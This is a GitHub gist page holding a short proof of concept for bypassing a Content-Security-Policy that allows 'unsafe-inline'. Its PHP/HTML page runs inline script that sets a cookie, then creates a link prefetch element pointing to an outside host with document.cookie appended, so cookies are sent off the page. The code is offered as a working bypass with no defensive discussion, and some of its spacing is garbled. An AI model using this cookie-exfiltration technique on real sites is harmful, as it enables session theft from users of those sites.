Created
December 21, 2017 05:22
-
-
Save nani1337/ccba369dc7b2f7dc525ad353a35bc02b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
If the csp rules looks like this | |
Content-Security-Policy : default-src 'self' ; script-src 'self' test . N0tr00t . Com 'unsafe-inline' ; | |
poc bypass: | |
<? php | |
header ( "Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';" ); | |
?> | |
<html> | |
<head> </ head> | |
<body> | |
csp header test | |
<script> | |
document.cookie = "csp =" + escape ("sad @ jisajid & * JDSJddsajhdsajkh21sa213123o1") + ";"; | |
var n0t = document.createElement ("link"); | |
n0t.setAttribute ("rel", "prefetch"); | |
n0t.setAttribute ("href", "//1J38ax.chromecsptest.test.text.com/?" + document .cookie); | |
document.head.appendChild (n0t); | |
</ script> | |
</ body> | |
</ html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment